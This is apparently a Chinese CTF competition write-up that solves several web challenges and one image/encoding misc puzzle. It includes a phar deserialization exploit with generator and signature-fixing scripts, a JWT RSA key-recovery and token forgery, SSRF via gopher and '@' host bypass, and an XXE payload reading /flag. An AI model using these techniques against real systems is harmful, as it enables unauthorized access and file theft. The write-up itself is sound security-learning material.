第三届广东省大学生网络攻防竞赛wp
一、WEB
1.消失的flag
访问提示Access Denied
fakeip插件伪造ip
提示File is Null
尝试加file
参数
?file=index.php`提示`do not hack!!
大概是filter-chain
参考文章:
https://www.cnblogs.com/linuxsec/articles/12684259.html
https://blog.csdn.net/yuanxu8877/article/details/127607264
php://filter/convert.iconv
可以成功
2.unserialize_web
先看看有没有常见的备份文件或者robots.txt、www.zip、.git、.svn、.www.tar.gz这些
能发现有一个备份文件,www.tar.gz
那么访问 URL/www.tar.gz把备份文件下载下来
看见源码都在这里了,主要就是看upload.php和download.php
然后在CSDN能看到类似的题目,为:
https://blog.csdn.net/m0_70819573/article/details/129506508
https://blog.csdn.net/2301_79708753/article/details/135873948
https://www.bilibili.com/read/cv21572905/
然后打开题目的链接,开局一个上传表单,给我整不会了,不是说反序列化咩?
然后猜测,可能为需要文件上传加上反序列化的组合拳
然后搜索发现是phar反序列化—文件包含之反序列化(文件上传)
else{
$extensions = array("gif", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$fileExtension = end($temp);
$fileSizeCheck = $_FILES["file"]["size"];
$isExtensionAllowed = in_array($fileExtension, $extensions) ? true : false;
if ($fileSizeCheck && $isExtensionAllowed){
$fileContent = file_get_contents($_FILES["file"]["tmp_name"]);
$haltCompilerCheck = strpos($fileContent, "__HALT_COMPILER();");
if(gettype($haltCompilerCheck) === "integer"){
echo "phar";
从uoload.php的这段代码可以得知,只能上传gif、jpg、png的图片,并且会进行内容检查,文件中不可以包含有“__HALT_COMPILER();”的内容。
所以我们需要将等一下生成phar文件压缩成压缩包来绕过检查。
class File {
public $val1;
public $val2;
public $val3;
public function __construct() {
$this->val1 = "val1";
$this->val2 = "val2";
}
public function __destruct() {
if ($this->val1 === "file" && $this->val2 === "exists") {
if (preg_match('/^\s*system\s*\(\s*\'cat\s+\/[^;]*\'\s*\);\s*$/', $this->val3)) {
eval($this->val3);
} else {
echo "Access Denied";
}
}
}
public function __access() {
$Var = "Access Denied";
echo $Var;
}
public function __wakeup() {
$this->val1 = "exists";
$this->val2 = "file";
echo "文件存在";
}
}
然后从download.php的这段代码可以得知是常规的反序列化。__destruct()魔术方法中有eval()函数可以利用来进行命令执行,存在命令执行漏洞。__destruct()方法里面的 if 语句会先判断变量v a l 1 是否全等于 f i l e ,变量 val1是否全等于file,变量val1是否全等于file,变量val2是否全等于exists。
然后到下面这段代码
if (preg_match('/^\s*system\s*\(\s*\'cat\s+\/[^;]*\'\s*\);\s*$/', $this->val3)) {
eval($this->val3);
这段代码是一个 PHP 中的条件语句,用于检查一个字符串是否匹配一个特定的模式。如果匹配成功,就会执行 eval 函数来执行字符串中的代码。
让我们来看看这个正则表达式
/^\s*system\s*\(\s*\'cat\s+\/[^;]*\'\s*\);\s*$/:
/^ 和 $ 表示字符串的开始和结束,确保整个字符串都匹配模式。
\s* 匹配零个或多个空白字符。
system 匹配字符串中的 system。
( 和 ) 匹配左右括号。
\s* 匹配零个或多个空白字符。
'cat\s+/[^;]’ 匹配以单引号括起来的以 cat 开头的文件路径。其中:
’ 匹配单引号。
cat 匹配 cat 字符串。
\s+ 匹配一个或多个空白字符。
/ 匹配斜杠 /。
[^;] 匹配零个或多个非分号字符。
’ 匹配单引号。
\s* 匹配零个或多个空白字符。
; 匹配分号。
换句话说,这个正则表达式用于检查字符串是否以 system('cat 开头,后面紧跟着一个文件路径,然后以 '); 结尾。
所以我们可以构造$val3的值为
system('cat /flag');
来获取flag
如果 t h i s − > v a l 3 中的内容匹配这个模式,就会执行 e v a l ( this->val3 中的内容匹配这个模式,就会执行 eval(this−>val3中的内容匹配这个模式,就会执行eval(this->val3);,这意味着 $this->val3 中的代码将被执行。这种做法存在安全风险,因为它允许任意代码执行,可能导致代码注入等安全漏洞。
将正则表达式可视化https://wangwl.net/static/projects/visualRegex/#
然后这个还要注意需要绕过wakeup()魔术方法:
public function __wakeup() {
$this->val1 = "exists";
$this->val2 = "file";
echo "文件存在";
}
它强制把v a l 1 赋值为 e x i s t s , val1赋值为exists,val1赋值为exists,val2赋值为file,会导致我们在后面触发destruct()魔术方法的时候,if 判断会失效
,所以我们需要绕过wakeup()
那就是需要用到CVE-2016-7124,它的影响范围是
PHP5 < 5.6.25
PHP7 < 7.0.10
而它的触发方式也很简单,那就是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
所以接下来我们要构造一个phar文件,上传之后,让它执行反序列化,从而执行我们的代码
上传时候zip会绕过phar检测,但是phar伪协议会解压zip,在解压时候在file_get_contents()处我们的phar伪协议会触发反序列化,并且进行eval()的命令执行
phar文件生成代码:
<?php
ini_set("phar.readonly", "Off");
class File
{
public $val1;
public $val2;
public $val3;
public function __construct()
{
$this->val1 = "file";
$this->val2 = "exists";
$this->val3 = "system('cat /flag');";
}
}
$a = new File();
$phar = new Phar('aa3.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
php phar.php
运行代码生成phar文件
可以通过010看到phar文件里面的内容是经过序列化的
但是上传然后访问的时候会报错
Warning: file_get_contents(phar://./upload/fuck.jpg): failed to open stream: phar "/var/www/html/upload/fuck.jpg" SHA1 signature could not be verified: broken signature in
这里有一个问题,我们在010处虽然可以修改phar文件绕过wakeup()魔术方法,但是这里存在签名认证,我们得修复签名
使用脚本修复,phar由data,data签名(20位),和签名格式(8位)组成
import gzip
from hashlib import sha1
with open(r'D:\\Downlaods_1\\ANfang_CTF\\Webbbbbb\\aa3.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
s = s.replace(b'3:{', b'4:{')#更换属性值,绕过__wakeup
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
#print(newf)
newf = gzip.compress(newf) #对Phar文件进行gzip压缩
with open(r'D:\\Downlaods_1\\ANfang_CTF\\Webbbbbb\\fuck3.png', 'wb') as file:#更改文件后缀
file.write(newf)
然后上传png图片
在download.php处进行POST传参,使用phar://协议伪来读取phar文件触发反序列化:
file=phar://./upload/fuck3.png
最后获得flag
flag为:
669b01045da0456ea2a2861ce57dd537
3.mypdf
随手点了点功能没有什么发现,f12看源码里有www.zip
下载源码,看到有TCPDF v6.3.2
看题目注册功能,直接注册显示error
,看源码注册的逻辑html/api.php
跟进到qInternal
会访问http://localhost:8082/``invites
然后到pdf/internal.py
app.run(host='127.0.0.1', port=8082)
,本地8082端口开了python服务
然后本地调试到这里发现if(myJson['invite'] in open('invites.txt').read().split('\n')):
绕不过
然后谷歌搜"ctf" TCPDF invites
搜索到
https://cloud.tencent.com/developer/article/2069757
https://r0.haxors.org/posts?id=15
https://b6a.black/posts/2021-05-22-3kctf/#ppaste-web-498-points
参考:https://r0.haxors.org/posts?id=15
invite:-3.3e99999999999999
绕过注册成功
然后打内网的ssrf
其他地方和wp一样,打了好几次没打出来,外网无请求,猜测不出网
再去看源码,跟着原题wp找到ssrf地方的逻辑
对比原题
可以看到放了gopher
所以直接gopher打,测试了很久还是没测试出来
最后猜测可能是Cookie问题导致用户登录用的还是上一个用户的Cookie
直接注册admintest1
,打ssrf给队友(admintest55
),访问action:admin
成功提升到admin
4.hackme
0解题,赛后师兄出了,趁环境还在跟着复现一下
两用户弱口令登录得到两个token
admin;123456
test;123456
token_test = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoidGVzdCIsImlwIjoiMTcyLjIwLjI0MC4zMiJ9.A9CrtyzLavHQif9VRIHJN1kSjLefzcKPArv3Eo96EbSlD5gzRU78QGiFkdtW_YxQgYc7z82PqH1BQGWMf5CLBfYSQNB6V9HV7FyZJUpzZt2b-irXitYFhW2qQJr0i_yrJA"
token_admin = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJpcCI6IjE3Mi4yMC4yNDAuMzIifQ.DDtMChPMQtBA_2_wJxLPO_6g5dTaM7stY2Knngol6qAeaWh4Y8EjY6ndBLuEMhXYyecpiLFXZxEPqkV_GW3rGReg7LTCfIb4x6M6RRhotbersK1AGKKGUyVHmr0es0bHpw'
登录成功提示不允许远程ip,伪造本地ip无果后发现是jwt里写死了ip
{
"user": "admin",
"ip": "172.20.240.32"
}
爆破密钥失败,扫目录发现有/vendor
,里面可以看到有php-jwt
的库以及版本
看对应版本的源码可以发现RS256都是用同一个私钥生成的,根据gcd(c1**e - m1, c2**e - m2)
得到pq,就能解出私钥生成token
根据师兄提示找到以下项目以及wp,利用两个token
https://github.com/silentsignal/rsa_sign2n
https://ctftime.org/writeup/30541
https://github.com/DownUnderCTF/Challenges_2021_Public/tree/main/web/jwt
这里要低版本的python,所以直接用docker搭
git clone git@github.com:silentsignal/rsa_sign2n.git
cd rsa_sign2n
cd standalone
docker build . -t sig2n
docker run -it sig2n /bin/bash
运行生成
root@037eba26a164:/app# python3 jwt_forgery.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoidGVzdCIsImlwIjoiMTcyLjIwLjI0MC4zMiJ9.A9CrtyzLavHQif9VRIHJN1kSjLefzcKPArv3Eo96EbSlD5gzRU78QGiFkdtW_YxQgYc7z82PqH1BQGWMf5CLBfYSQNB6V9HV7FyZJUpzZt2b-irXitYFhW2qQJr0i_yrJA eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJpcCI6IjE3Mi4yMC4yNDAuMzIifQ.DDtMChPMQtBA_2_wJxLPO_6g5dTaM7stY2Knngol6qAeaWh4Y8EjY6ndBLuEMhXYyecpiLFXZxEPqkV_GW3rGReg7LTCfIb4x6M6RRhotbersK1AGKKGUyVHmr0es0bHpw
[*] GCD: 0x1d
[*] GCD: 0x108b7c75aee1e2b9df3692a2cc54b100d111002193ebc9c3cf575e4b16f595cc28d9b47a65d1f3774aa3db05649085589230fe23bfcc2ef876b4134dafde4484d7bde8c9b80016d9c9aed53a0334ae3483cc833374301e1a7829a5f5800a793803
[+] Found n with multiplier 1 :
0x108b7c75aee1e2b9df3692a2cc54b100d111002193ebc9c3cf575e4b16f595cc28d9b47a65d1f3774aa3db05649085589230fe23bfcc2ef876b4134dafde4484d7bde8c9b80016d9c9aed53a0334ae3483cc833374301e1a7829a5f5800a793803
[+] Written to 108b7c75aee1e2b9_65537_x509.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.uQSDyjQ3E0qKbn2Z57ehjBwLWuG9ZS0cZMovJ4cOX2Y'
[+] Written to 108b7c75aee1e2b9_65537_pkcs1.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.PQh9QksKAeMoHlojbkthI3KFd8aJT_zJZGJcQF4MonQ'
[+] Found n with multiplier 29 :
0x920d1e8a71b85eaf6bd01744d6c84f79f7c2361f955f3bb7b3907e2cedfc567cfeadf290c09e76df43717bc5acb5265d51233f069d1c1a390f097e43db86c6c9a571f54cf72ced06f45fa0e5a0b68f0d5f53f8f259ef620424bf1a1ee5e0de9f
[+] Written to 920d1e8a71b85eaf_65537_x509.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.tfED-oSN1J63mhskbHzl-avEgr-xTGVBkYBicIkhkG4'
[+] Written to 920d1e8a71b85eaf_65537_pkcs1.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.ILN5nCmS8koxi7qPNYe2A9d6ESr5OCPFydTgrdbrnq8'
================================================================================
Here are your JWT's once again for your copypasting pleasure
================================================================================
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.uQSDyjQ3E0qKbn2Z57ehjBwLWuG9ZS0cZMovJ4cOX2Y
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.PQh9QksKAeMoHlojbkthI3KFd8aJT_zJZGJcQF4MonQ
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.tfED-oSN1J63mhskbHzl-avEgr-xTGVBkYBicIkhkG4
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.ILN5nCmS8koxi7qPNYe2A9d6ESr5OCPFydTgrdbrnq8
关注到108b7c75aee1e2b9_65537_x509.pem
root@037eba26a164:/app# cat 108b7c75aee1e2b9_65537_x509.pem
-----BEGIN PUBLIC KEY-----
MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhEIt8da7h4rnfNpKizFSxANERACGT68nD
z1deSxb1lcwo2bR6ZdHzd0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZ
ya7VOgM0rjSDzIMzdDAeGngppfWACnk4AwIDAQAB
-----END PUBLIC KEY-----
生成私钥
└─# python3 RsaCtfTool.py --publickey ../pub.pem --private
['../pub.pem']
[*] Testing key ../pub.pem.
attack initialized...
attack initialized...
[*] Performing nonRSA attack on ../pub.pem.
[+] Time elapsed: 0.0020 sec.
[*] Performing factordb attack on ../pub.pem.
[*] Attack success with factordb method !
[+] Total time elapsed min,max,avg: 0.0020/0.0020/0.0020 sec.
Results for ../pub.pem:
Private key :
-----BEGIN RSA PRIVATE KEY-----
MIIBnAIBAAJhEIt8da7h4rnfNpKizFSxANERACGT68nDz1deSxb1lcwo2bR6ZdHz
d0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZya7VOgM0rjSDzIMzdDAe
GngppfWACnk4AwIDAQABAmEKpfUIG6wBMAOtnv0vdki0XiDfW6KTMDRDvdcjryUd
sIi8WaAV8ZW9z9XWw/v8U/4DrOzW5nJwm2BwMRfpIfKlS/QW0gX/TR+btntJc6P8
wnks0vynK8S9A+l4kegxYrSxAgEdAmEAkg0einG4Xq9r0BdE1shPeffCNh+VXzu3
s5B+LO38Vnz+rfKQwJ5230Nxe8WstSZdUSM/Bp0cGjkPCX5D24bGyaVx9Uz3LO0G
9F+g5aC2jw1fU/jyWe9iBCS/Gh7l4N6fAgEFAmBhCOJfrQqHrhj9WlhcMx3KtTeN
ahJ+AVkdrkSGaV+bvtQekehmcWIdF9wQFdeXS3P4cmhvZnbDXWGGNyOyeKseUhOS
nJ4kdR6HwflOVyaziHjre5zY79i5VAi7vAeTDZUCAQc=
-----END RSA PRIVATE KEY-----
wp说可以用jwt.io生成token,但是不太会用,用脚本生成就行
pip3 install PyJWT
import jwt
private_key = """-----BEGIN RSA PRIVATE KEY-----
MIIBnAIBAAJhEIt8da7h4rnfNpKizFSxANERACGT68nDz1deSxb1lcwo2bR6ZdHz
d0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZya7VOgM0rjSDzIMzdDAe
GngppfWACnk4AwIDAQABAmEKpfUIG6wBMAOtnv0vdki0XiDfW6KTMDRDvdcjryUd
sIi8WaAV8ZW9z9XWw/v8U/4DrOzW5nJwm2BwMRfpIfKlS/QW0gX/TR+btntJc6P8
wnks0vynK8S9A+l4kegxYrSxAgEdAmEAkg0einG4Xq9r0BdE1shPeffCNh+VXzu3
s5B+LO38Vnz+rfKQwJ5230Nxe8WstSZdUSM/Bp0cGjkPCX5D24bGyaVx9Uz3LO0G
9F+g5aC2jw1fU/jyWe9iBCS/Gh7l4N6fAgEFAmBhCOJfrQqHrhj9WlhcMx3KtTeN
ahJ+AVkdrkSGaV+bvtQekehmcWIdF9wQFdeXS3P4cmhvZnbDXWGGNyOyeKseUhOS
nJ4kdR6HwflOVyaziHjre5zY79i5VAi7vAeTDZUCAQc=
-----END RSA PRIVATE KEY-----"""
token = jwt.encode({'user': 'admin', 'ip': '127.0.0.1'}, private_key, algorithm='RS256')
print(token)
#eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpcCI6IjEyNy4wLjAuMSJ9.CoYi8KRN7iRYT79NWwYEb_RlZJVyQS5lTfE0loA-wa-buAMWtsHsG4bsIeezu5rk_nJztLp36sz2d3Nz2psJl7RqjXGmOg83dwRo0DL9oJzoUxfbsq9GuBjOThLwNEwq7Q
生成了token访问到manager.php
可以看到有getfile.php和upload.php
看这个postjson很容易看出是打ssrf
fuzz一下,url限制了oss.jxsec.cn
用@
绕过,然后发现读不到文件,去看看upload接口
upload.php上传文件返回路径http://``oss.jxsec.cn``:8000``/xx.jpg
(大概是这个)
"url":"``oss.jxsec.cn``@``localhost:8000``"
,返回xml解析错误,猜测后端用了libxml,所以打ssrf+xxe读文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/resource=/flag">]>
<creds>
<user>&xxe;</user>
</creds>
过滤了ENTITY、SYSTEM等关键字,编码绕过
cat ``1``.xml | iconv -f utf-8 -t utf-16 > test.xml
{
"url":"oss.jxsec.cn@localhost:8000",
"file":"5c93a0cbbaafcb4a165613239184ec96.xml"
}
二、MISC
1.猜一猜
将压缩包下载下来的时候
看见压缩包名类似MD5加密,使用MD5解密得到密码
https://www.cmd5.org/
得到密码解密,发现是png格式文件,但是打不开,使用010工具查看16进制发现文件头丢失,
补全文件头 89504E47
发现图片是二维码
使用qcr扫描发现没结果,使用微信扫一扫发现
最后使用花朵解密解出flag
https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=huaduo
flag{rUsJyNdKhdKuS4VfO7}